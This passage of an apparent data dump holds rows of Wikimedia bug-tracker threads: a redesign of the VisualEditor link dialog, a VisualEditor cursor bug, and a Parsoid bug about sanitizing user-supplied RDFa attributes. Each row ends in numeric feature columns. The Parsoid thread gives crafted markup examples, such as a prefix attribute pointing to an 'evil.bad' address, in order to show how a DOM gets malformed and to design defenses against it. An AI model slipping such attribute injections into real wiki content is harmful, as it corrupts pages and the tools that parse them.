+#2 With this method, the user will often have to adjust the link's text afterwards, for instance in the case of plurals or if the target article is disambiguated with parentheses. But it is not clear to the user that adjusting the link text is safe and won't create a broken link; indeed the crucial distinction between link text and link target remains obscure. (Changing a singular to a plural is especially difficult since editing links at the end is not allowed.)
+
+I have checked the workflow of entering links in LibreOffice, Gmail and Word; they are all basically the same as in the Visual Editor, with two major differences: 
+
+a) the dialog popup window has a clear OK button, and
+
+b) the dialog popup window contains separate clearly labeled boxes for the link text and the link target. 
+
+I believe both of these changes make a lot of sense.
+
+When entering the dialog from an existing link or from highlighted text, that text should automatically be entered into the link text's box, with a corresponding suggestion for the link target preselected, but both boxes should be editable independently. The link target box should have a list of further suggestions underneath. Once everything is OK, clicking the OK button or hitting Enter should create the link; clicking outside of the dialog box or hitting the back arrow should cancel the action.
+
+There is another minor issue: right now, when hovering over an existing link, the link target is displayed in a popup; when clicking on the link, a separate link symbol popup occurs which does not show the link target. The meaning of that symbol is not clear; it turns out that clicking on it will open the dialog popup, allowing to change or remove the link. Gmail solves this issue as follows: hovering over a link will not display anything, but when clicking on a link, a tiny popup appears giving the link's target and options to change or remove the link. I find that completely self-explanatory.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1369411380,1422402760.0,PHID-USER-zzvqlvm6i6kml4tfnqvq,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-jzom4aa22nn3mtwtm74t,task_description,resolved,True,c1,1,False,False,False,-6,,1,1,1,1,1,1,1,0,0,1,1,1,0,0,1,1,1,1,1,1,1,1,1,0,1,1,1,1,0,1,0,1,1,1,0,1,1,0,1,1,0,1,1,1,1,1,0,1,1,1,1,1,0,1,0,0,1,1,1,1,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,1,1
+403707,VisualEditor: Improvements and  behaviour changes to the link input widget (tracking),Now tracked in #VisualEditor-MediaWiki-Links instead.,,,1422402760,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jzom4aa22nn3mtwtm74t,task_subcomment,,True,c1,3,True,,,82,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+219497,VisualEditor: Improvements and  behaviour changes to the link input widget (tracking),*** Bug 57716 has been marked as a duplicate of this bug. ***,,,1395197341,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jzom4aa22nn3mtwtm74t,task_subcomment,,True,c1,3,True,,,37,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+219491,VisualEditor: Improvements and  behaviour changes to the link input widget (tracking),Turning this into a tracking bug as it's a lot easier to understand that way.,,,1378765753,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jzom4aa22nn3mtwtm74t,task_subcomment,,True,c1,3,True,,,10,,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,1,0,0
+219486,VisualEditor: Improvements and  behaviour changes to the link input widget (tracking),"at en.wp Mauro Bieg comments:
+""The add-link dialog should have a clear ""OK"" and ""Cancel"" button. Right now, you have no obvious way to get rid of it and it is not clear what happens when you click somewhere else (the dialog goes away, but did it save the changes or not?) Also, what does the strange back button (<) to the left do? and are the Link-symbol and ""Hyperlink"" two buttons or a description or what (nothing happens when I click on them)? The trash symbol is good and does what you'd expect it to: remove the link.""",,,1375961000,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-jzom4aa22nn3mtwtm74t,task_subcomment,,True,c1,3,False,,,5,,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,1,0,1,0,1,1,1,1,1,0,0,1,0,1,1,1,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,0,0,0,1
+219479,VisualEditor: Improvements and  behaviour changes to the link input widget (tracking),"Adam Cuerden comments again on the suggestion to have separate boxes for link target and link title:
+""Yes [that would be better], but do make sure it's on the same page. Don't give one dialogue, then a second. Also, if one of the boxes is left blank, it should be auto-completed from the other box. ""
+
+For the second part of the comment they mean that if someone gives a link target (e.g. Fish) and doesn't specify any title, produce a link: [[Fish]]
+If someone gives a link title (e.g. Hedgehog) but doesn't specify a target, produce the link: [[Hedgehog]].",,,1375212875,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-jzom4aa22nn3mtwtm74t,task_subcomment,,True,c1,3,False,,,4,,1,1,0,1,1,1,1,0,0,1,1,1,0,0,0,0,0,1,1,1,1,1,0,1,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,1,1,1,0,1,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,0,0,1,0,0,1,0,1
+219477,VisualEditor: Improvements and  behaviour changes to the link input widget (tracking),"English Wikipedia user comments that the current behaviour of the input widget is not intuitive at all:
+
+""I clicked the link tool while not focused on any text, to try and add a new link. I got a largely empty box with no instructions, and the next word in the article highlighted within the box.  I fiddled with it a few times, and still don't know if typing in the box A. changes the text of the link. B. allows me to select more words. C. Changes what is linked to, or D. is followed by another, nearly identical box for a secondary function""
+
+To me this is further evidence that we need two boxes: one to enter the link target and one to enter the link display text. The second box would default to the same as the link for internal links and for external links either (ideally) the page title or (less ideally but probably easier) the filename sans extension. 
+
+This would also fix Bug 50945 and Bug 51438 (if the latter is distinct from the former)",,,1375181899,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-jzom4aa22nn3mtwtm74t,task_subcomment,,True,c1,3,False,,,4,,1,0,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,1,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,1,1,0,0,1,1,1,1,0,1,1,1,0,0,1,0,1,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,0
+219473,VisualEditor: Improvements and  behaviour changes to the link input widget (tracking),(inspector->input widget; inspector is the context menu with buttons to open a dialog or input widget),,,1373539718,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-jzom4aa22nn3mtwtm74t,task_subcomment,,True,c1,3,True,,,1,,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+219468,VisualEditor: Improvements and  behaviour changes to the link input widget (tracking),"Alternately, once a link is selected we could have the link inspector automatically close (re: OK buttons). I'm more of a fan of OK buttons because I think auto-closes are just inviting someone to mis-click and get infuriated at the software for going away and leaving them with the wrong link.",,,1371118580,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-jzom4aa22nn3mtwtm74t,task_subcomment,,True,c1,2,False,,,-3,,0,1,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,1,1,1,0,0
+50772,"Protect Parsoid-generated token-names, about-ids, typeofs from conflicts with user-provided names.","User can enter html tags or provide tag attributes or attribute values that Parsoid (and downstream clients) treat specially.
+
+Ex: #mwt3 for about-ids, or mw:Object/* for typeofs or <template> tags or any of the special attributes/types found on http://www.mediawiki.org/wiki/Parsoid/MediaWiki_DOM_spec
+
+If Parsoid doesn't detect these and escape/handle them somehow, Parsoid will mislead clients like VisualEditor and/or incorrectly serialize them.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1369392240,,PHID-USER-slccyo5rqasgpljxny7g,False,,False,PHID-TASK-e53ehyegovylp4gigsvo,task_description,open,True,c1,1,True,False,,-6,,1,0,0,0,1,1,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,1,1,0,1,0,0,0,1
+399203,"Protect Parsoid-generated token-names, about-ids, typeofs from conflicts with user-provided names.","One more thing that would be good to fix:
+
+Currently, the tokenizer unconditionally escapes typeof and about attributes to data-x-typeof and data-x-about. But, if RDFa attrs from wikitext will also get escaped in this manner. Not sure if RDFa is actually used in wikitext, but that support does exist in MW. So, the escaping could be refined to leave alone any typeof and about attrs that wont confuse Parsoid and clients.
+
+Related FIXME comments from the sanitizer (ext.core.Sanitizer.js) from https://gerrit.wikimedia.org/r/#/c/81569/ that I am pasting here:
+```
+// SSS FIXME: There is a test in mediawiki.environment.js that doles out
+// and tests about ids. There are probably some tests in mediawiki.Util.js
+// as well. We should move all these kind of tests somewhere else.
+----
+// Bypass RDFa/whitelisting checks for Parsoid-inserted attrs
+// Safe to do since the tokenizer renames about/typeof attrs.
+// unconditionally. FIXME: The escaping solution in tokenizer
+// maybe aggressive. There is no need to escape typeof strings
+// that or about ids that don't resemble Parsoid types/about ids.
+```
+
+Any fix made here should also verify that the sanitization code in sanitizeTagAttrs properly strips dangerous values from unescaped typeofs even when Parsoid updates them with parsoid typeofs.
+
+```
+Ex: <tag typeof=""dangerous-text"">..</tag> gets updated by Parsoid parser to <tag typeof=""mw:ParsoidTypeof dangerous-text"">..</tag> which should then be handled by the sanitizer to yield <tag typeof=""mw:ParsoidTypeof"">...</tag>
+```",,,1421187810,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-e53ehyegovylp4gigsvo,task_subcomment,,True,c1,3,True,,,80,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,1,1,1,0,1,1,1,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,0,1,1,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,0,1
+218335,"Protect Parsoid-generated token-names, about-ids, typeofs from conflicts with user-provided names.","One more thing that would be good to fix:
+
+Currently, the tokenizer unconditionally escapes typeof and about attributes to data-x-typeof and data-x-about. But, if RDFa attrs from wikitext will also get escaped in this manner. Not sure if RDFa is actually used in wikitext, but that support does exist in MW. So, the escaping could be refined to leave alone any typeof and about attrs that wont confuse Parsoid and clients.
+
+Related FIXME comments from the sanitizer (ext.core.Sanitizer.js) from https://gerrit.wikimedia.org/r/#/c/81569/ that I am pasting here:
+
+----
+// SSS FIXME: There is a test in mediawiki.environment.js that doles out
+// and tests about ids. There are probably some tests in mediawiki.Util.js
+// as well. We should move all these kind of tests somewhere else.
+----
+// Bypass RDFa/whitelisting checks for Parsoid-inserted attrs
+// Safe to do since the tokenizer renames about/typeof attrs.
+// unconditionally. FIXME: The escaping solution in tokenizer
+// maybe aggressive. There is no need to escape typeof strings
+// that or about ids that don't resemble Parsoid types/about ids.
+----
+
+Any fix made here should also verify that the sanitization code in sanitizeTagAttrs properly strips dangerous values from unescaped typeofs even when Parsoid updates them with parsoid typeofs.
+
+Ex: <tag typeof=""dangerous-text"">..</tag> gets updated by Parsoid parser to <tag typeof=""mw:ParsoidTypeof dangerous-text"">..</tag> which should then be handled by the sanitizer to yield <tag typeof=""mw:ParsoidTypeof"">...</tag>",,,1378248584,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-e53ehyegovylp4gigsvo,task_subcomment,,True,c1,3,True,,,9,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,1,1,1,0,1,1,1,0,1,1,0,0,1,1,0,1,1,0,1,0,0,1,1,1,1,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,0,1,1,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,1,0,1
+218328,"Protect Parsoid-generated token-names, about-ids, typeofs from conflicts with user-provided names.","Patch landed as suggested in comment 5. However, Subbu mentioned that, ""we still need to deal with complexity that templates bring.""
+
+Ex: <div {{echo|about}}=""foo"">bar</div>",,,1375117004,,PHID-USER-gxcjmjpejlhfnrquksm2,False,,,PHID-TASK-e53ehyegovylp4gigsvo,task_subcomment,,True,c1,3,True,,,4,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,0,0,0,0,0,1
+218321,"Protect Parsoid-generated token-names, about-ids, typeofs from conflicts with user-provided names.","Change 74586 merged by jenkins-bot:
+Protect Parsoid-generated attributes.
+
+https://gerrit.wikimedia.org/r/74586",,,1374946962,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-e53ehyegovylp4gigsvo,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+218315,"Protect Parsoid-generated token-names, about-ids, typeofs from conflicts with user-provided names.","Or we could write a DOM postprocessor stage that was a bit smarter about which RDFa it unwrapped.  ie, it would unwrap the first example from comment 5, but not the final example there, since it would be able to see that there's parsoid RDFa inside the div which would be broken.  Or other options.",,,1374529924,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-e53ehyegovylp4gigsvo,task_subcomment,,True,c1,3,True,,,3,,0,0,0,1,1,1,1,0,0,0,0,1,0,0,1,1,0,1,1,0,1,0,1,0,1,0,0,1,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,1,0,0
+218309,"Protect Parsoid-generated token-names, about-ids, typeofs from conflicts with user-provided names.","If we do go that route, the fixup for rendering would have to be in client-side JS since we may not use different cached content for editing vs rendering -- or so it seems to me at this time without any sense of how user RDFa markup will need to be supported in MW content.",,,1374529662,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-e53ehyegovylp4gigsvo,task_subcomment,,True,c1,3,True,,,3,,1,0,0,1,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,1,1,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,1,1,0,0,0
+218301,"Protect Parsoid-generated token-names, about-ids, typeofs from conflicts with user-provided names.","[Discussed this on IRC with subbu]
+
+To support case 3 from comment 1 and 2, rather than *strip* the attributes, I suggest encapsulating them instead.  For example, if the user authors:
+
+<div about=""http://dbpedia.org/resource/Albert_Einstein"" typeof=""foaf:Person"">
+  <span property=""foaf:name"">Albert Einstein</span>
+  <span property=""foaf:givenName"">Albert</span>
+</div>
+
+..instead of stripping the RDFa, we're just going to rename the attributes, to:
+
+<div data-user-about=""http://dbpedia.org/resource/Albert_Einstein"" data-user-typeof=""foaf:Person"">
+  <span data-user-property=""foaf:name"">Albert Einstein</span>
+  <span data-user-property=""foaf:givenName"">Albert</span>
+</div>
+
+That ensures that the user content is safe for Parsoid and VE to manipulate.  In the future we can re-enable the RDFa in the output with a DOM post-processing (""render"") pass.  For example, the user content:
+
+<div about=""http://dbpedia.org/resource/Albert_Einstein"" typeof=""foaf:Person"">
+{{Albert Einstein}}
+</div>
+
+might have all sorts of Parsoid RDFa markup inside the {{Albert Einstein}} expansion, which the about=""http://dbpedia.org/resource/Albert_Einstein"" attribute would screw up the context for.  But for rendering to the web, the Parsoid cruft could be elided and the user's RDFa markup unwrapped.",,,1374529246,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-e53ehyegovylp4gigsvo,task_subcomment,,True,c1,3,True,,,3,,1,0,0,1,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,1,0,0,1,1,1,0,1,0,1,0,1,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,0,0,1
+218293,"Protect Parsoid-generated token-names, about-ids, typeofs from conflicts with user-provided names.","Change 74586 had a related patch set uploaded by Arlolra:
+Protect Parsoid-generated attributes.
+
+https://gerrit.wikimedia.org/r/74586",,,1374213999,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-e53ehyegovylp4gigsvo,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+218286,"Protect Parsoid-generated token-names, about-ids, typeofs from conflicts with user-provided names.",[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704],,,1372934056,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-e53ehyegovylp4gigsvo,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,1
+218279,"Protect Parsoid-generated token-names, about-ids, typeofs from conflicts with user-provided names.","1) Is not an issue, as prefix is  not allowed in the PHP sanitizer (and not in our sanitizer either).
+
+2) Is something for later. The risk here is mainly crashes during serialization.
+
+3) Should be supported. We only want to protect our own values where necessary. The typeof attribute for example is multi-valued, so we only need to strip mw:-prefixed user-supplied values. The about attribute on the other hand is single-valued, so we need to override user-supplied values unconditionally where necessary.",,,1371511977,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-e53ehyegovylp4gigsvo,task_subcomment,,True,c1,2,True,,,-2,,0,1,0,1,1,1,1,0,0,0,1,0,0,1,0,1,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,1
+218272,"Protect Parsoid-generated token-names, about-ids, typeofs from conflicts with user-provided names.","There are three interconnected issues:
+1)
+  <span prefix=""mw: http://evil.bad"">
+is valid wikitext, which would create malformed Parsoid DOM.  We should sanitize the wikitext (but that has to happen *before* we create the DOM, since otherwise we can't tell which prefix attributes are good and which are evil.)
+
+2) VE needs to prevent users from authoring content which sets prefix attributes, etc.  Currently it does so, but it would be nice to make Parsoid more robust against malformed DOM, and/or to add layers of protection so that front ends aren't solely responsible for sanitizing user input.
+
+3) Longer term we should probably think about use cases where the user wants to deliberately author RDFa markup on their content, and ensure that they are able to do so in a safe way.
+
+This bug is primarily about #1 (the short term issue) and I'll tackle it tomorrow.",,,1371511478,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-e53ehyegovylp4gigsvo,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,1,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,1,0,1,0,1,1,1,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,1,1,0,1,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,1
+50735,"VisualEditor: Return at start of header causes cursor to move two characters down-page, not one","On my user page https://www.mediawiki.org/wiki/User:S_Page_%28WMF%29 and now on a test page https://www.mediawiki.org/wiki/User:S_Page_%28WMF%29/VE_bugs every time I try to add a new section VE goes haywire
+
+1. Edit (with VE)
+2. Click at start of first heading (""welcomecreation..."")
+3. Press Enter, it prepends new heading (good)
+4. Press up arrow to move up to this new blank heading.
+5. Start typing the heading, e.g. press 'X'
+6. That was wrong, so press Backspace (or left arrow)
+
+Result:
+The text of the heading underneath leaps above the new heading, joining text above it.
+I can edit other parts of the document, but whenever I return to my new heading to add or backspace, the caret jumps elsewhere.
+If I undo enough times, VE undoes to a state where the new header displays below the existing header. The document looks different to what it did before, but [Review and save] is grayed out.
+
+I created a new document https://www.mediawiki.org/wiki/User:S_Page_%28WMF%29/VE_bugs and similar stuff happens in that.
+
+This is in Firefox 21 on Ubuntu, and mediawiki.org's VE as of today.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",Medium,50.0,1369264200,1372370158.0,PHID-USER-gbl4hfak3cfurt3c7skd,False,,False,PHID-TASK-pds66u5f24d37usiicgj,task_description,resolved,True,c1,1,False,False,True,-6,,1,0,0,1,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,1,1,0,0,1,0,1,1,0,0,0,1,1,0,0,1,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+216329,"VisualEditor: Return at start of header causes cursor to move two characters down-page, not one",This should now be fixed; we will push this to production this afternoon.,,,1372370158,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-pds66u5f24d37usiicgj,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+216325,"VisualEditor: Return at start of header causes cursor to move two characters down-page, not one","Change 70864 merged by jenkins-bot:
+Don't advance cursor when adding new line at start of node
+
+https://gerrit.wikimedia.org/r/70864",,,1372368223,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pds66u5f24d37usiicgj,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0
+216320,"VisualEditor: Return at start of header causes cursor to move two characters down-page, not one","Change 70918 merged by jenkins-bot:
+If cursor is obscured by toolbar, on keypress scroll to cursor.
+
+https://gerrit.wikimedia.org/r/70918",,,1372368220,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pds66u5f24d37usiicgj,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+216315,"VisualEditor: Return at start of header causes cursor to move two characters down-page, not one","Change 70918 had a related patch set uploaded by Robmoen:
+If cursor is obscured by toolbar, on keypress scroll to cursor.
+
+https://gerrit.wikimedia.org/r/70918",,,1372366669,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pds66u5f24d37usiicgj,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+216310,"VisualEditor: Return at start of header causes cursor to move two characters down-page, not one","Change 70864 had a related patch set uploaded by Robmoen:
+Don't advance cursor when adding new line at start of node
+
+https://gerrit.wikimedia.org/r/70864",,,1372359928,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pds66u5f24d37usiicgj,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0
+216303,"VisualEditor: Return at start of header causes cursor to move two characters down-page, not one","(In reply to comment #5)
+> Sounds good, though I note it's different than e.g. pressing Enter at the
+> start of the first of a set of bullet points, which adds another bullet rather
+> than a plain paragraph. A foolish consistency is the Hobnobs of little minds :)
+
+Yeah, I've been wondering whether to make these consistent for a little bit.",,,1371520609,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-pds66u5f24d37usiicgj,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,0,0,1,1,0,1,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,1,0,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+216297,"VisualEditor: Return at start of header causes cursor to move two characters down-page, not one","(In reply to comment #4)
+> (In reply to comment #3)
+> > * If you press Enter with the caret at start of heading, you get a plain
+> > paragraph before (maybe OK but not what I'd expect and not how most WYSIWYG
+> > editors work)
+> 
+> This is intentional - if you have header 1\nheader 2\nheader 3\n and click
+> before header 3 and press return, you should be able to type content
+> (paragraph) by default.
+
+Sounds good, though I note it's different than e.g. pressing Enter at the start of the first of a set of bullet points, which adds another bullet rather than a plain paragraph. A foolish consistency is the Hobnobs of little minds :)",,,1371520249,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-pds66u5f24d37usiicgj,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,1,1,1,0,1,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,1,0,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,1
+216294,"VisualEditor: Return at start of header causes cursor to move two characters down-page, not one","(In reply to comment #3)
+> These days the behavior on mediwiki.org (with Firefox 21.0 Ubuntu 13.04) is
+> different and a little better.
+> * If you press Enter with the caret at start of heading, you get a plain
+> paragraph before (maybe OK but not what I'd expect and not how most WYSIWYG
+> editors work)
+
